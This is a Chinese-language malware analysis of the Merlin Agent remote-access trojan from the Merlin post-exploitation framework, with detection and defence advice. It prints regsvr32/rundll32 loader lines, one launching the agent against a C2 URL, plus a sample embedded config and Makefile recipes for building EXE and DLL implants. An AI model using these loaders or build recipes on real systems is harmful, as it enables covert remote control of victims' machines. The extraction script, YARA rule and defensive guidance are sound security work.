Merlin后渗透利用框架之Merlin Agent远控木马剖析
字数 1999 2025-08-22 12:23:30

Merlin后渗透利用框架之Merlin Agent远控木马深度剖析

1. 概述

Merlin是一个基于Golang开发的开源后渗透利用框架,由多个组件构成,包括Merlin Server、Merlin CLI、Merlin Agent EXE和Merlin Agent DLL。本教学文档将重点剖析Merlin Agent远控木马的技术细节。

2. Merlin框架组件

  • Merlin Server:默认监听本地的50051端口
  • Merlin CLI:命令行交互式界面,使用gRPC连接Merlin Server
  • Merlin Agent EXE:可执行文件形式的木马
  • Merlin Agent DLL:DLL形式的木马(攻击者常用)

3. Merlin Agent DLL样本分析

3.1 样本基本信息

  • 下载地址:https://github.com/Ne0nd0g/merlin-agent-dll/releases
  • 样本版本:v2.3.1
  • 编译语言:Golang

3.2 导出函数分析

Merlin Agent DLL提供了多个导出函数,便于不同方式加载:

导出函数名 功能描述 加载方式
DllInstall 执行run(url) regsvr32.exe /s /n /i merlin.dll
DllRegisterServer 执行run(url) regsvr32.exe /s merlin.dll
DllUnregisterServer 执行run(url) regsvr32.exe /s /u merlin.dll
Merlin 接受C *char字符串作为URL参数 DLL加载时使用
Run 从命令行参数获取URL rundll32.exe merlin.dll,Run https://127.0.0.1:443
VoidFunc 执行run(url) 与PowerSploit的Invoke-ReflectivePEInjection.ps1配合使用

3.3 配置信息提取

Merlin Agent的配置信息在编译时通过-ldflags参数嵌入,可通过以下方法快速提取:

  1. 在样本文件中搜索-ldflags=字符串
  2. 提取到的配置信息示例:
-ldflags="-s -w -X \"main.auth=opaque\" -X \"main.addr=127.0.0.1:4444\" -X \"main.transforms=jwe,gob-base\" -X \"main.listener=\" -X \"github.com/Ne0nd0g/merlin-agent/v2/core.Build=d40b50a10e57c0b30f40e5af0dfb46bd4e692d69\" -X \"main.protocol=h2\" -X \"main.url=https://127.0.0.1:443\" -X \"main.host=\" -X \"main.httpClient=go\" -X \"main.psk=merlin\" -X \"main.secure=false\" -X \"main.sleep=30s\" -X \"main.proxy=\" -X \"main.useragent=Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36\" -X \"main.headers=\" -X \"main.skew=3000\" -X \"main.padding=4096\" -X \"main.killdate=0\" -X \"main.maxretry=7\" -X \"main.parrot=\" -H=windowsgui -buildid="

关键配置参数说明:

  • auth:认证方式
  • addr:连接地址
  • transforms:数据传输转换方式
  • protocol:通信协议
  • url:C2服务器地址
  • psk:预共享密钥
  • sleep:心跳间隔
  • useragent:HTTP请求使用的User-Agent
  • killdate:木马自毁日期

3.4 自动化提取配置信息脚本

基于上述发现,可以编写自动化脚本提取配置信息:

import re

def extract_merlin_config(binary_data):
    pattern = rb'-ldflags="(.+?)"'
    match = re.search(pattern, binary_data)
    if match:
        config_str = match.group(1).decode('utf-8')
        config_items = re.findall(r'-X\s*\\"([^=]+)=([^\\]+)\\"', config_str)
        return dict(config_items)
    return {}

# 使用示例
with open('merlin-agent.dll', 'rb') as f:
    data = f.read()
    config = extract_merlin_config(data)
    print(config)

4. 编译原理分析

Merlin Agent使用Golang的-ldflags编译选项嵌入配置:

  • -s:去除符号表和调试信息
  • -w:去除DWARF调试信息
  • -X:设置变量的值

Merlin项目使用Makefile进行编译,Makefile中定义了这些编译选项:

EXE木马Makefile示例

build:
    go build -ldflags="-s -w -X 'main.url=$(URL)' -X 'main.psk=$(PSK)'" -o merlin-agent.exe

DLL木马Makefile示例

build:
    go build -buildmode=c-shared -ldflags="-s -w -X 'main.url=$(URL)' -X 'main.psk=$(PSK)'" -o merlin-agent.dll

5. 检测方法

5.1 YARA规则检测

可使用以下YARA规则检测Merlin Agent木马:

rule Merlin_Agent {
    meta:
        description = "Detects Merlin Agent malware"
        author = "Neo23x0"
        date = "2025-02-07"
    
    strings:
        $go = "Go build ID:"
        $merlin1 = "github.com/Ne0nd0g/merlin"
        $merlin2 = "main.run"
        $merlin3 = "main.(*Agent).Run"
    
    condition:
        all of them

5.2 行为特征检测

  1. 网络通信特征

    • 定期心跳通信(默认30秒间隔)
    • 使用特定的User-Agent
    • HTTPS协议通信
  2. 进程行为特征

    • 通过rundll32或regsvr32加载DLL
    • 无GUI界面运行(-H=windowsgui编译选项)
  3. 配置信息特征

    • 样本中包含-ldflags=字符串
    • 包含Merlin特定的配置参数

6. 防御建议

  1. 网络层防御

    • 监控异常HTTPS连接
    • 检测使用默认User-Agent的请求
  2. 主机层防御

    • 限制rundll32和regsvr32的执行
    • 监控异常DLL加载行为
  3. 样本检测

    • 使用YARA规则扫描可疑文件
    • 检测Golang编译的DLL文件
    • 检查文件中是否包含-ldflags=字符串
  4. 日志分析

    • 分析进程创建日志,检测可疑的DLL加载
    • 监控网络连接日志,检测周期性外联

7. 总结

Merlin Agent是一个功能强大的开源远控木马,具有以下特点:

  1. 使用Golang开发,跨平台兼容性好
  2. 提供多种加载方式,隐蔽性强
  3. 配置信息编译时嵌入,但可通过特定方法提取
  4. 采用模块化设计,功能可扩展

通过深入分析其技术细节,可以有效检测和防御此类威胁。防御者应重点关注Golang编译的DLL文件、特定的加载方式以及网络通信特征。

Merlin后渗透利用框架之Merlin Agent远控木马深度剖析 1. 概述 Merlin是一个基于Golang开发的开源后渗透利用框架,由多个组件构成,包括Merlin Server、Merlin CLI、Merlin Agent EXE和Merlin Agent DLL。本教学文档将重点剖析Merlin Agent远控木马的技术细节。 2. Merlin框架组件 Merlin Server :默认监听本地的50051端口 Merlin CLI :命令行交互式界面,使用gRPC连接Merlin Server Merlin Agent EXE :可执行文件形式的木马 Merlin Agent DLL :DLL形式的木马(攻击者常用) 3. Merlin Agent DLL样本分析 3.1 样本基本信息 下载地址:https://github.com/Ne0nd0g/merlin-agent-dll/releases 样本版本:v2.3.1 编译语言:Golang 3.2 导出函数分析 Merlin Agent DLL提供了多个导出函数,便于不同方式加载: | 导出函数名 | 功能描述 | 加载方式 | |-----------|---------|---------| | DllInstall | 执行run(url) | regsvr32.exe /s /n /i merlin.dll | | DllRegisterServer | 执行run(url) | regsvr32.exe /s merlin.dll | | DllUnregisterServer | 执行run(url) | regsvr32.exe /s /u merlin.dll | | Merlin | 接受C * char字符串作为URL参数 | DLL加载时使用 | | Run | 从命令行参数获取URL | rundll32.exe merlin.dll,Run https://127.0.0.1:443 | | VoidFunc | 执行run(url) | 与PowerSploit的Invoke-ReflectivePEInjection.ps1配合使用 | 3.3 配置信息提取 Merlin Agent的配置信息在编译时通过 -ldflags 参数嵌入,可通过以下方法快速提取: 在样本文件中搜索 -ldflags= 字符串 提取到的配置信息示例: 关键配置参数说明: auth :认证方式 addr :连接地址 transforms :数据传输转换方式 protocol :通信协议 url :C2服务器地址 psk :预共享密钥 sleep :心跳间隔 useragent :HTTP请求使用的User-Agent killdate :木马自毁日期 3.4 自动化提取配置信息脚本 基于上述发现,可以编写自动化脚本提取配置信息: 4. 编译原理分析 Merlin Agent使用Golang的 -ldflags 编译选项嵌入配置: -s :去除符号表和调试信息 -w :去除DWARF调试信息 -X :设置变量的值 Merlin项目使用Makefile进行编译,Makefile中定义了这些编译选项: EXE木马Makefile示例 : DLL木马Makefile示例 : 5. 检测方法 5.1 YARA规则检测 可使用以下YARA规则检测Merlin Agent木马: 5.2 行为特征检测 网络通信特征 : 定期心跳通信(默认30秒间隔) 使用特定的User-Agent HTTPS协议通信 进程行为特征 : 通过rundll32或regsvr32加载DLL 无GUI界面运行(-H=windowsgui编译选项) 配置信息特征 : 样本中包含 -ldflags= 字符串 包含Merlin特定的配置参数 6. 防御建议 网络层防御 : 监控异常HTTPS连接 检测使用默认User-Agent的请求 主机层防御 : 限制rundll32和regsvr32的执行 监控异常DLL加载行为 样本检测 : 使用YARA规则扫描可疑文件 检测Golang编译的DLL文件 检查文件中是否包含 -ldflags= 字符串 日志分析 : 分析进程创建日志,检测可疑的DLL加载 监控网络连接日志,检测周期性外联 7. 总结 Merlin Agent是一个功能强大的开源远控木马,具有以下特点: 使用Golang开发,跨平台兼容性好 提供多种加载方式,隐蔽性强 配置信息编译时嵌入,但可通过特定方法提取 采用模块化设计,功能可扩展 通过深入分析其技术细节,可以有效检测和防御此类威胁。防御者应重点关注Golang编译的DLL文件、特定的加载方式以及网络通信特征。